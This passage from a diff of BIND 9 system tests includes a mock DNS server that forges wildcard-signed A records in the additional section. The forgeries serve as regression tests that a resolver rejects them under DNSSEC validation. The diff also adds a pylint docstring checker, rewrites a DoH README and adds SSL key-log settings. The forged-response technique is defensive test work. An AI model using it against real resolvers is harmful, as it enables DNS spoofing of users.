qctx.response.additional.append(forged_a_rrsig) + + # No proof-of-nonexistence is provided for the QNAME and yet a vulnerable + # resolver validates the forged A record as a secure response synthesized + # from a wildcard record. + + +class WildcardAdditionalHandler(ResponseHandler): + matcher = Qname("svc.f043.test.") & Qtype(dns.rdatatype.MX) + + async def get_responses( + self, qctx: QueryContext + ) -> AsyncGenerator[DnsResponseSend, None]: + append_forged_a_rrset_to_additional(qctx, "victim.f043.test.") + yield DnsResponseSend(qctx.response) + + +class ParentWildcardHandler(ResponseHandler): + matcher = Qname("q.f045.test.") & Qtype(dns.rdatatype.MX) + + async def get_responses( + self, qctx: QueryContext + ) -> AsyncGenerator[DnsResponseSend, None]: + append_forged_a_rrset_to_additional(qctx, "svc.child.f045.test.") + yield DnsResponseSend(qctx.response) def main() -> None: - keys = common.load_keys() - server = AsyncDnsServer(default_aa=True) - server.install_response_handler(f043.F043Handler(keys)) - server.install_response_handler(f045.F045Handler(keys)) + server = AsyncDnsServer() + server.install_response_handlers( + WildcardAdditionalHandler(), + ParentWildcardHandler(), + ) server.run() diff -Nru bind9-9.20.29/bin/tests/system/dnssec_wildcard/ans1/common.py bind9-9.20.30/bin/tests/system/dnssec_wildcard/ans1/common.py --- bind9-9.20.29/bin/tests/system/dnssec_wildcard/ans1/common.py 2026-09-11 19:41:01.185323418 +0000 +++ bind9-9.20.30/bin/tests/system/dnssec_wildcard/ans1/common.py 1970-01-01 00:00:00.000000000 +0000 @@ -1,102 +0,0 @@ -#!/usr/bin/python3 - -# Copyright (C) Internet Systems Consortium, Inc. ("ISC") -# -# SPDX-License-Identifier: MPL-2.0 - -from dataclasses import dataclass -from pathlib import Path - -import json - -from cryptography.hazmat.primitives import serialization - -import dns.dnssec -import dns.message -import dns.name -import dns.rdata -import dns.rdataclass -import dns.rdatatype -import dns.rrset - -TTL = 300 - - -@dataclass(frozen=True) -class Key: - zone: dns.name.Name - private_key: object - dnskey: dns.rdata.Rdata - ds: dns.rdata.Rdata - - -def name(text: str) -> dns.name.Name: - return dns.name.from_text(text) - - -def load_keys() -> dict[str, Key]: - path = Path(".") / "keys.json" - with path.open(encoding="utf-8") as keys_file: - raw_keys = json.load(keys_file) - - keys = {} - for zone, raw_key in raw_keys.items(): - private_key = serialization.load_pem_private_key( - raw_key["private_pem"].encode("ascii"), - password=None, - ) - dnskey = dns.rdata.from_text( - dns.rdataclass.IN, dns.rdatatype.DNSKEY, raw_key["dnskey"] - ) - ds = dns.rdata.from_text(dns.rdataclass.IN, dns.rdatatype.DS, raw_key["ds"]) - keys[zone] = Key(name(zone), private_key, dnskey, ds) - - return keys - - -def rrset(owner: str, rdtype: dns.rdatatype.RdataType, *rdatas: str) -> dns.rrset.RRset: - return dns.rrset.from_text(owner, TTL, dns.rdataclass.IN, rdtype, *rdatas) - - -def rrset_from_rdata(owner: str, rdata: dns.rdata.Rdata) -> dns.rrset.RRset: - return dns.rrset.from_rdata(owner, TTL, rdata) - - -def add_signed( - section: list[dns.rrset.RRset], covered: dns.rrset.RRset, signer: Key -) -> None: - rrsig = dns.dnssec.sign( - covered, - signer.private_key, - signer.zone, - signer.dnskey, - lifetime=86400, - verify=True, - ) - section.append(covered) - section.append(dns.rrset.from_rdata(covered.name, covered.ttl, rrsig)) - - -def soa_rrset(zone) -> dns.rrset.RRset: - return rrset( - zone, - dns.rdatatype.SOA, - f"ns.{zone} hostmaster.{zone} 1 3600 600 86400 300", - ) - - -def add_dnskey(response: dns.message.Message, zone: str, key: Key) -> None: - add_signed(response.answer, rrset_from_rdata(zone, key.dnskey), key) - - -def wildcard_rrsig(owner: str, a: str, key: Key) -> dns.rrset.RRset: - wildcard = rrset(key.zone, dns.rdatatype.A, a) - rrsig = dns.dnssec.sign( - wildcard, - key.private_key, - key.zone, - key.dnskey, - lifetime=86400, - verify=True, - ) - return dns.rrset.from_rdata(name(owner), wildcard.ttl, rrsig) diff -Nru bind9-9.20.29/bin/tests/system/dnssec_wildcard/ans1/f043.py bind9-9.20.30/bin/tests/system/dnssec_wildcard/ans1/f043.py --- bind9-9.20.29/bin/tests/system/dnssec_wildcard/ans1/f043.py 2026-09-11 19:41:01.185323418 +0000 +++ bind9-9.20.30/bin/tests/system/dnssec_wildcard/ans1/f043.py 1970-01-01 00:00:00.000000000 +0000 @@ -1,80 +0,0 @@ -#!/usr/bin/python3 - -# Copyright (C) Internet Systems Consortium, Inc. ("ISC") -# -# SPDX-License-Identifier: MPL-2.0 - -from collections.abc import AsyncGenerator - -import dns.flags -import dns.rcode -import dns.rdatatype -import dns.rrset - -from dnssec_wildcard.ans1.common import ( - Key, - add_dnskey, - add_signed, - name, - rrset, - soa_rrset, - wildcard_rrsig, -) -from isctest.asyncserver import DnsResponseSend, DomainHandler, QueryContext - -F043_ZONE = "f043.test." -F043_QUERY = f"svc.{F043_ZONE}" -F043_VICTIM = f"victim.{F043_ZONE}" - -FORGED_A = "198.51.100.45" -LEGIT_A = "192.0.2.113" - - -def add_wildcard_a(section: list[dns.rrset.RRset], owner: str, key: Key) -> None: - section.append(rrset(owner, dns.rdatatype.A, FORGED_A)) - section.append(wildcard_rrsig(owner, FORGED_A, key)) - - -class F043Handler(DomainHandler): # Additional from wildcard - domains = [F043_ZONE] - - def __init__(self, keys: dict[str, Key]) -> None: - super().__init__() - self.keys = keys - - if F043_ZONE not in keys: - return - - self.key = keys[F043_ZONE] - self.zone = name(F043_ZONE) - self.query = name(F043_QUERY) - self.victim = name(F043_VICTIM) - - async def get_responses( - self, qctx: QueryContext - ) -> AsyncGenerator[DnsResponseSend, None]: - qctx.prepare_new_response(with_zone_data=False) - qctx.response.flags |= dns.flags.AA - qctx.response.set_rcode(dns.rcode.NOERROR) - - if qctx.qname == self.zone and qctx.qtype == dns.rdatatype.DNSKEY: - add_dnskey(qctx.response, self.zone, self.key) - elif qctx.qname == self.zone and qctx.qtype == dns.rdatatype.SOA: - add_signed(qctx.response.answer, soa_rrset(self.zone), self.key) - elif qctx.qname == self.query and qctx.qtype == dns.rdatatype.MX: - add_signed( - qctx.response.answer, - rrset(F043_QUERY, dns.rdatatype.MX, f"10 {F043_VICTIM}"), - self.key, - ) - add_wildcard_a(qctx.response.additional, F043_VICTIM, self.key) - elif qctx.qname == self.victim and qctx.qtype == dns.rdatatype.A: - add_signed( - qctx.response.answer, - rrset(F043_VICTIM, dns.rdatatype.A, LEGIT_A), - self.key, - ) - else: - add_signed(qctx.response.authority, soa_rrset(self.zone), self.key) - - yield DnsResponseSend(qctx.response, authoritative=True) diff -Nru bind9-9.20.29/bin/tests/system/dnssec_wildcard/ans1/f045.py bind9-9.20.30/bin/tests/system/dnssec_wildcard/ans1/f045.py --- bind9-9.20.29/bin/tests/system/dnssec_wildcard/ans1/f045.py 2026-09-11 19:41:01.185323418 +0000 +++ bind9-9.20.30/bin/tests/system/dnssec_wildcard/ans1/f045.py 1970-01-01 00:00:00.000000000 +0000 @@ -1,120 +0,0 @@ -#!/usr/bin/python3 - -# Copyright (C) Internet Systems Consortium, Inc. ("ISC") -# -# SPDX-License-Identifier: MPL-2.0 - -from collections.abc import AsyncGenerator - -import dns.flags -import dns.message -import dns.rcode -import dns.rdatatype - -from dnssec_wildcard.ans1.common import ( - Key, - add_dnskey, - add_signed, - name, - rrset, - rrset_from_rdata, - soa_rrset, - wildcard_rrsig, -) -from isctest.asyncserver import DnsResponseSend, DomainHandler, QueryContext - -TTL = 300 -FORGED_A = "198.51.100.45" -LEGIT_A = "192.0.2.113" - - -def add_ds(response: dns.message.Message, zone: str, child: Key, parent: Key) -> None: - add_signed(response.answer, rrset_from_rdata(zone, child.ds), parent) - - -def add_nodata(response: dns.message.Message, zone: str, key: Key) -> None: - add_signed(response.authority, soa_rrset(zone), key) - - -# A signed zone P, chained to a configured trust anchor, that -# (a) publishes a wildcard *.P A or AAAA record and -# (b) delegates at least one separately-signed child C.P (own DS in P) -# operated by a distinct principal. -F045_PARENT = "f045.test." -F045_CHILD = f"child.{F045_PARENT}" -F045_QUERY = f"q.{F045_PARENT}" -F045_SERVICE = f"svc.{F045_CHILD}" - - -def add_parent_mx_with_forged_additional( - response: dns.message.Message, parent: Key -) -> None: - add_signed( - response.answer, - rrset(F045_QUERY, dns.rdatatype.MX, f"10 {F045_SERVICE}"), - parent, - ) - response.additional.append(rrset(F045_SERVICE, dns.rdatatype.A, FORGED_A)) - response.additional.append(wildcard_rrsig(F045_SERVICE, FORGED_A, parent)) - - -def add_child_a(response: dns.message.Message, child: Key) -> None: - add_signed(response.answer, rrset(F045_SERVICE, dns.rdatatype.A, LEGIT_A), child) - - -class F045Handler(DomainHandler): - domains = [F045_PARENT, F045_CHILD] - - def __init__(self, keys: dict[str, Key]) -> None: - super().__init__() - self.keys = keys - - if F045_PARENT not in keys or F045_CHILD not in keys: - return - - self.parent = name(F045_PARENT) - self.child = name(F045_CHILD) - self.query = name(F045_QUERY) - self.service = name(F045_SERVICE) - - async def get_responses( - self, qctx: QueryContext - ) -> AsyncGenerator[DnsResponseSend, None]: - qctx.prepare_new_response(with_zone_data=False) - qctx.response.flags |= dns.flags.AA - qctx.response.set_rcode(dns.rcode.NOERROR) - - parent_key = self.keys[F045_PARENT] - child_key = self.keys[F045_CHILD] - - if qctx.qname == self.parent and qctx.qtype == dns.rdatatype.DNSKEY: - # Priming, DNSKEY RRset - add_dnskey(qctx.response, F045_PARENT, parent_key) - elif qctx.qname == self.parent and qctx.qtype == dns.rdatatype.SOA: - # Priming, SOA RRset - add_signed(qctx.response.answer, soa_rrset(F045_PARENT), parent_key) - elif qctx.qname == self.query and qctx.qtype == dns.rdatatype.MX: - # Trigger query. - add_parent_mx_with_forged_additional(qctx.response, parent_key) - elif qctx.qname == self.child and qctx.qtype == dns.rdatatype.DS: - # Chain of trust, DS of child. - add_ds(qctx.response, F045_CHILD, child_key, parent_key) - elif qctx.qname == self.child and qctx.qtype == dns.rdatatype.DNSKEY: - # Chain of trust, DNSKEY of child. - add_dnskey(qctx.response, F045_CHILD, child_key) - elif qctx.qname == self.child and qctx.qtype == dns.rdatatype.SOA: - # SOA of child. - add_signed(qctx.response.answer, soa_rrset(F045_CHILD), child_key) - elif qctx.qname == self.service and qctx.qtype == dns.rdatatype.A: - # Zone data at child. - add_child_a(qctx.response, child_key) - elif qctx.qname.is_subdomain(self.child): - # No data at child. - add_nodata(qctx.response, F045_CHILD, child_key) - elif qctx.qname.is_subdomain(self.parent): - # No data at parent. - add_nodata(qctx.response, F045_PARENT, parent_key) - else: - qctx.response.set_rcode(dns.rcode.NXDOMAIN) - - yield DnsResponseSend(qctx.response, authoritative=True) diff -Nru bind9-9.20.29/bin/tests/system/dnssec_wildcard/ans1/zones/child.f045.test.db.j2.manual bind9-9.20.30/bin/tests/system/dnssec_wildcard/ans1/zones/child.f045.test.db.j2.manual --- bind9-9.20.29/bin/tests/system/dnssec_wildcard/ans1/zones/child.f045.test.db.j2.manual 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.30/bin/tests/system/dnssec_wildcard/ans1/zones/child.f045.test.db.j2.manual 2026-10-12 13:12:08.083892984 +0000 @@ -0,0 +1,3 @@ +{% include "_common/zones/template.db.j2.manual" %} + +svc A 192.0.2.113 diff -Nru bind9-9.20.29/bin/tests/system/dnssec_wildcard/ans1/zones/f043.test.db.j2.manual bind9-9.20.30/bin/tests/system/dnssec_wildcard/ans1/zones/f043.test.db.j2.manual --- bind9-9.20.29/bin/tests/system/dnssec_wildcard/ans1/zones/f043.test.db.j2.manual 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.30/bin/tests/system/dnssec_wildcard/ans1/zones/f043.test.db.j2.manual 2026-10-12 13:12:08.083892984 +0000 @@ -0,0 +1,5 @@ +{% include "_common/zones/template.db.j2.manual" %} + +svc MX 10 victim +victim A 192.0.2.113 +* A 198.51.100.45 diff -Nru bind9-9.20.29/bin/tests/system/dnssec_wildcard/ans1/zones/f045.test.db.j2.manual bind9-9.20.30/bin/tests/system/dnssec_wildcard/ans1/zones/f045.test.db.j2.manual --- bind9-9.20.29/bin/tests/system/dnssec_wildcard/ans1/zones/f045.test.db.j2.manual 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.30/bin/tests/system/dnssec_wildcard/ans1/zones/f045.test.db.j2.manual 2026-10-12 13:12:08.083892984 +0000 @@ -0,0 +1,4 @@ +{% include "_common/zones/template.db.j2.manual" %} + +q MX 10 svc.child +* A 198.51.100.45 diff -Nru bind9-9.20.29/bin/tests/system/dnssec_wildcard/ns2/named.conf.j2 bind9-9.20.30/bin/tests/system/dnssec_wildcard/ns2/named.conf.j2 --- bind9-9.20.29/bin/tests/system/dnssec_wildcard/ns2/named.conf.j2 2026-09-11 19:41:01.185323418 +0000 +++ bind9-9.20.30/bin/tests/system/dnssec_wildcard/ns2/named.conf.j2 2026-10-12 13:12:08.083892984 +0000 @@ -10,23 +10,14 @@ {% include "_common/root.hint.conf" %} - -{% if PARENT_DNSKEY is defined and PARENT_DNSKEY|length %} zone "f045.test" { type static-stub; server-addresses { 10.53.0.1; }; }; -trust-anchors { - f045.test. static-key 257 3 13 "@PARENT_DNSKEY@"; -}; -{% else %} zone "f043.test" { type static-stub; server-addresses { 10.53.0.1; }; }; -trust-anchors { - f043.test. static-key 257 3 13 "@TESTZONE_DNSKEY@"; -}; -{% endif %} +{% include "_common/trusted.conf.j2" %} diff -Nru bind9-9.20.29/bin/tests/system/dnssec_wildcard/tests_dnssec_wildcard_additional.py bind9-9.20.30/bin/tests/system/dnssec_wildcard/tests_dnssec_wildcard_additional.py --- bind9-9.20.29/bin/tests/system/dnssec_wildcard/tests_dnssec_wildcard_additional.py 2026-09-11 19:41:01.185323418 +0000 +++ bind9-9.20.30/bin/tests/system/dnssec_wildcard/tests_dnssec_wildcard_additional.py 2026-10-12 13:12:08.083892984 +0000 @@ -1,69 +1,48 @@ -#!/usr/bin/python3 - # Copyright (C) Internet Systems Consortium, Inc. ("ISC") # # SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. -from pathlib import Path - -import json - -from cryptography.hazmat.primitives import serialization -from cryptography.hazmat.primitives.asymmetric import ec - -import dns.dnssec import dns.name import dns.rdataclass import dns.rdatatype import pytest import isctest -import isctest.mark +import isctest.template +import isctest.zone TESTZONE = "f043.test." QUERY = f"svc.{TESTZONE}" VICTIM = f"victim.{TESTZONE}" FORGED_A = "198.51.100.45" LEGIT_A = "192.0.2.113" -AUTH = "10.53.0.1" -RESOLVER = "10.53.0.2" +AUTH = isctest.template.ANS1.ip +RESOLVER = isctest.template.NS2.ip pytestmark = [ - isctest.mark.with_ecdsa_deterministic, pytest.mark.extra_artifacts( [ - "ans*/ans.run", - "ans*/keys.json", + "ans*/dsset-*", + "ans*/keys/", + "ans*/zones/*.db", + "ans*/zones/*.db.signed", ] ), ] -def _make_key(zone): - private_key = ec.generate_private_key(ec.SECP256R1()) - dnskey = dns.dnssec.make_dnskey( - private_key.public_key(), - algorithm="ECDSAP256SHA256", - flags=257, - ) - ds = dns.dnssec.make_ds(dns.name.from_text(zone), dnskey, "SHA256") - private_pem = private_key.private_bytes( - encoding=serialization.Encoding.PEM, - format=serialization.PrivateFormat.PKCS8, - encryption_algorithm=serialization.NoEncryption(), - ).decode("ascii") - return { - "private_pem": private_pem, - "dnskey": dnskey.to_text(), - "ds": ds.to_text(), - } - - def bootstrap(): - keys = {TESTZONE: _make_key(TESTZONE)} - Path("ans1/keys.json").write_text(json.dumps(keys, indent=2), encoding="ascii") - zone_dnskey = "".join(keys[TESTZONE]["dnskey"].split()[3:]) - return {"TESTZONE_DNSKEY": zone_dnskey} + zone = isctest.zone.Zone("f043.test.", isctest.template.ANS1, signed=True) + zone.configure(csk=True) + + return {"trust_anchors": zone.trust_anchors()} def _query(server, qname, qtype, cd=False): diff -Nru bind9-9.20.29/bin/tests/system/dnssec_wildcard/tests_replayed_parent_wildcard.py bind9-9.20.30/bin/tests/system/dnssec_wildcard/tests_replayed_parent_wildcard.py --- bind9-9.20.29/bin/tests/system/dnssec_wildcard/tests_replayed_parent_wildcard.py 2026-09-11 19:41:01.186323442 +0000 +++ bind9-9.20.30/bin/tests/system/dnssec_wildcard/tests_replayed_parent_wildcard.py 2026-10-12 13:12:08.083892984 +0000 @@ -1,31 +1,22 @@ -#!/usr/bin/python3 - # Copyright (C) Internet Systems Consortium, Inc. ("ISC") # # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional # information regarding copyright ownership. -from pathlib import Path - -import json - -from cryptography.hazmat.primitives import serialization -from cryptography.hazmat.primitives.asymmetric import ec - -import dns.dnssec import dns.name import dns.rdataclass import dns.rdatatype import pytest import isctest -import isctest.mark +import isctest.template +import isctest.zone PARENT = "f045.test." CHILD = f"child.{PARENT}" @@ -33,47 +24,30 @@ SERVICE = f"svc.{CHILD}" FORGED_A = "198.51.100.45" LEGIT_A = "192.0.2.113" -AUTH = "10.53.0.1" -RESOLVER = "10.53.0.2" +AUTH = isctest.template.ANS1.ip +RESOLVER = isctest.template.NS2.ip pytestmark = [ - isctest.mark.with_ecdsa_deterministic, pytest.mark.extra_artifacts( [ - "ans*/ans.run", - "ans*/keys.json", + "ans*/dsset-*", + "ans*/keys/", + "ans*/zones/*.db", + "ans*/zones/*.db.signed", ] ), ] -def _make_key(zone): - private_key = ec.generate_private_key(ec.SECP256R1()) - dnskey = dns.dnssec.make_dnskey( - private_key.public_key(), - algorithm="ECDSAP256SHA256", - flags=257, - ) - ds = dns.dnssec.make_ds(dns.name.from_text(zone), dnskey, "SHA256") - private_pem = private_key.private_bytes( - encoding=serialization.Encoding.PEM, - format=serialization.PrivateFormat.PKCS8, - encryption_algorithm=serialization.NoEncryption(), - ).decode("ascii") - return { - "private_pem": private_pem, - "dnskey": dnskey.to_text(), - "ds": ds.to_text(), - } - - def bootstrap(): - keys = {zone: _make_key(zone) for zone in [PARENT, CHILD]} + child = isctest.zone.Zone("child.f045.test.", isctest.template.ANS1, signed=True) + child.configure(csk=True) - Path("ans1/keys.json").write_text(json.dumps(keys, indent=2), encoding="ascii") + parent = isctest.zone.Zone("f045.test.", isctest.template.ANS1, signed=True) + parent.delegations = [child] + parent.configure(csk=True) - parent_dnskey = "".join(keys[PARENT]["dnskey"].split()[3:]) - return {"PARENT_DNSKEY": parent_dnskey} + return {"trust_anchors": parent.trust_anchors()} def _query(server, qname, qtype, cd=False): diff -Nru bind9-9.20.29/bin/tests/system/dnstap/tests_dnstap.py bind9-9.20.30/bin/tests/system/dnstap/tests_dnstap.py --- bind9-9.20.29/bin/tests/system/dnstap/tests_dnstap.py 2026-09-11 19:41:01.189323514 +0000 +++ bind9-9.20.30/bin/tests/system/dnstap/tests_dnstap.py 2026-10-12 13:12:08.086893048 +0000 @@ -1,11 +1,9 @@ -#!/usr/bin/python3 - # Copyright (C) Internet Systems Consortium, Inc. ("ISC") # # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/dnstap/tests_sh_dnstap.py bind9-9.20.30/bin/tests/system/dnstap/tests_sh_dnstap.py --- bind9-9.20.29/bin/tests/system/dnstap/tests_sh_dnstap.py 2026-09-11 19:41:01.189323514 +0000 +++ bind9-9.20.30/bin/tests/system/dnstap/tests_sh_dnstap.py 2026-10-12 13:12:08.086893048 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/dnstap/ydump.py bind9-9.20.30/bin/tests/system/dnstap/ydump.py --- bind9-9.20.29/bin/tests/system/dnstap/ydump.py 2026-09-11 19:41:01.189323514 +0000 +++ bind9-9.20.30/bin/tests/system/dnstap/ydump.py 2026-10-12 13:12:08.087893069 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/docstring_format_checker.py bind9-9.20.30/bin/tests/system/docstring_format_checker.py --- bind9-9.20.29/bin/tests/system/docstring_format_checker.py 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.30/bin/tests/system/docstring_format_checker.py 2026-10-12 13:12:08.087893069 +0000 @@ -0,0 +1,78 @@ +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. + +from astroid import nodes +from pylint.checkers import BaseChecker +from pylint.lint import PyLinter + +QUOTES = b'"""' +PREFIX_CHARS = b"rRuUbBfF" + + +class DocstringFormatChecker(BaseChecker): + """ + Require every docstring to keep its quotes on lines of their own: + + \"\"\" + text + \"\"\" + + rather than a one-liner or text sharing a line with either set of quotes. + """ + + name = "docstring-format" + msgs = { + "C9004": ( + "Docstring quotes must be on their own lines", + "docstring-quotes-not-alone", + "Emitted when a docstring starts or ends on the same line as its " + "opening or closing triple quotes.", + ), + } + + def __init__(self, linter: PyLinter) -> None: + super().__init__(linter) + self._lines: list[bytes] = [] + + def visit_module(self, node: nodes.Module) -> None: + # astroid column offsets count bytes, so keep the lines as bytes + with node.stream() as stream: + self._lines = [line.rstrip(b"\r\n") for line in stream] + self._check(node) + + def visit_classdef(self, node: nodes.ClassDef) -> None: + self._check(node) + + def visit_functiondef(self, node: nodes.FunctionDef) -> None: + self._check(node) + + visit_asyncfunctiondef = visit_functiondef + + def _check(self, node: nodes.NodeNG) -> None: + doc = node.doc_node + if doc is None or doc.lineno is None or doc.end_lineno is None: + return + + opening = self._lines[doc.lineno - 1][doc.col_offset :].lstrip(PREFIX_CHARS) + closing = self._lines[doc.end_lineno - 1][: doc.end_col_offset] + if not opening.startswith(QUOTES) or not closing.endswith(QUOTES): + return + + if ( + doc.lineno == doc.end_lineno + or opening[len(QUOTES) :].strip() + or closing[: -len(QUOTES)].strip() + ): + self.add_message("docstring-quotes-not-alone", node=doc) + + +def register(linter: PyLinter) -> None: + linter.register_checker(DocstringFormatChecker(linter)) diff -Nru bind9-9.20.29/bin/tests/system/doth/README.curl bind9-9.20.30/bin/tests/system/doth/README.curl --- bind9-9.20.29/bin/tests/system/doth/README.curl 2026-09-11 19:41:01.192323587 +0000 +++ bind9-9.20.30/bin/tests/system/doth/README.curl 2026-10-12 13:12:08.090893134 +0000 @@ -11,28 +11,19 @@ information regarding copyright ownership. --> -DoH query values that can be passed on the command line for testing -with curl can be obtained by encoding binary DNS messages into -base64url, with trailing '='s removed. +DoH queries can be sent with curl for testing, passing the DNS message +in the "dns" query parameter, base64url-encoded with the trailing '=' +padding removed (RFC 8484). The message is easiest to build with +dnspython; message id 0 keeps the URL stable and cache-friendly, as +RFC 8484 recommends for GET requests. For example: -$ perl bin/tests/system/fromhex.pl << EOF | base64url - # Transaction ID - 0001 - # Standard query - 0000 - # Questions: 1, Additional: 0 - 0001 0000 0000 0000 - # QNAME: example - 07 6578616d706c65 00 - # Type: SOA - 0006 - Class: IN - 0001 -EOF +$ python3 -c 'import base64, dns.message +query = dns.message.make_query("example.", "SOA", id=0) +print(base64.urlsafe_b64encode(query.to_wire()).rstrip(b"=").decode())' +AAABAAABAAAAAAAAB2V4YW1wbGUAAAYAAQ -This produces the string "AAEAAAABAAAAAAAAB2V4YW1wbGUAAAbFrMonAAE=". With -the trailing '=' removed, this can then be passed to curl: +This string can then be passed to curl: -curl "https:///dns-query?dns=AAEAAAABAAAAAAAAB2V4YW1wbGUAAAbFrMonAAE" +curl "https:///dns-query?dns=AAABAAABAAAAAAAAB2V4YW1wbGUAAAYAAQ" diff -Nru bind9-9.20.29/bin/tests/system/doth/conftest.py bind9-9.20.30/bin/tests/system/doth/conftest.py --- bind9-9.20.29/bin/tests/system/doth/conftest.py 2026-09-11 19:41:01.192323587 +0000 +++ bind9-9.20.30/bin/tests/system/doth/conftest.py 2026-10-12 13:12:08.090893134 +0000 @@ -1,11 +1,9 @@ -#!/usr/bin/python3 - # Copyright (C) Internet Systems Consortium, Inc. ("ISC") # # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/doth/example.axfr.good bind9-9.20.30/bin/tests/system/doth/example.axfr.good --- bind9-9.20.29/bin/tests/system/doth/example.axfr.good 2026-09-11 19:41:01.193323611 +0000 +++ bind9-9.20.30/bin/tests/system/doth/example.axfr.good 2026-10-12 13:12:08.090893134 +0000 @@ -2667,7 +2667,7 @@ unspec01.example. 3600 IN UNSPEC \# 1 04 uri01.example. 3600 IN URI 10 20 "https://www.isc.org/" uri02.example. 3600 IN URI 30 40 "https://www.isc.org/HolyCowThisSureIsAVeryLongURIRecordIDontEvenKnowWhatSomeoneWouldEverWantWithSuchAThingButTheSpecificationRequiresThatWesupportItSoHereWeGoTestingItLaLaLaLaLaLaLaSeriouslyThoughWhyWouldYouEvenConsiderUsingAURIThisLongItSeemsLikeASillyIdeaButEnhWhatAreYouGonnaDo/" -uri03.example. 3600 IN URI 30 40 "" +uri03.example. 3600 IN URI 30 40 " " wallet.example. 3600 IN WALLET "currency-identifer" "wallet-identifier" wallet-multiple.example. 3600 IN WALLET "currency-identifer1" "wallet-identifier1" wallet-multiple.example. 3600 IN WALLET "currency-identifer1" "wallet-identifier2" diff -Nru bind9-9.20.29/bin/tests/system/doth/example8.axfr.good bind9-9.20.30/bin/tests/system/doth/example8.axfr.good --- bind9-9.20.29/bin/tests/system/doth/example8.axfr.good 2026-09-11 19:41:01.193323611 +0000 +++ bind9-9.20.30/bin/tests/system/doth/example8.axfr.good 2026-10-12 13:12:08.091893155 +0000 @@ -2667,7 +2667,7 @@ unspec01.example8. 3600 IN UNSPEC \# 1 04 uri01.example8. 3600 IN URI 10 20 "https://www.isc.org/" uri02.example8. 3600 IN URI 30 40 "https://www.isc.org/HolyCowThisSureIsAVeryLongURIRecordIDontEvenKnowWhatSomeoneWouldEverWantWithSuchAThingButTheSpecificationRequiresThatWesupportItSoHereWeGoTestingItLaLaLaLaLaLaLaSeriouslyThoughWhyWouldYouEvenConsiderUsingAURIThisLongItSeemsLikeASillyIdeaButEnhWhatAreYouGonnaDo/" -uri03.example8. 3600 IN URI 30 40 "" +uri03.example8. 3600 IN URI 30 40 " " wallet.example8. 3600 IN WALLET "currency-identifer" "wallet-identifier" wallet-multiple.example8. 3600 IN WALLET "currency-identifer1" "wallet-identifier1" wallet-multiple.example8. 3600 IN WALLET "currency-identifer1" "wallet-identifier2" diff -Nru bind9-9.20.29/bin/tests/system/doth/get_openssl_version.py bind9-9.20.30/bin/tests/system/doth/get_openssl_version.py --- bind9-9.20.29/bin/tests/system/doth/get_openssl_version.py 2026-09-11 19:41:01.194323635 +0000 +++ bind9-9.20.30/bin/tests/system/doth/get_openssl_version.py 2026-10-12 13:12:08.091893155 +0000 @@ -1,11 +1,9 @@ -#!/usr/bin/env python3 - # Copyright (C) Internet Systems Consortium, Inc. ("ISC") # # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/doth/ns1/named.env bind9-9.20.30/bin/tests/system/doth/ns1/named.env --- bind9-9.20.29/bin/tests/system/doth/ns1/named.env 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.30/bin/tests/system/doth/ns1/named.env 2026-10-12 13:12:08.091893155 +0000 @@ -0,0 +1,2 @@ +# Log SSL key negotiation to named.sslkeylogfile +SSLKEYLOGFILE=named.sslkeylogfile diff -Nru bind9-9.20.29/bin/tests/system/doth/ns2/named.env bind9-9.20.30/bin/tests/system/doth/ns2/named.env --- bind9-9.20.29/bin/tests/system/doth/ns2/named.env 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.30/bin/tests/system/doth/ns2/named.env 2026-10-12 13:12:08.092893176 +0000 @@ -0,0 +1,2 @@ +# An empty SSLKEYLOGFILE environment variable +SSLKEYLOGFILE= diff -Nru bind9-9.20.29/bin/tests/system/doth/stress_http_quota.py 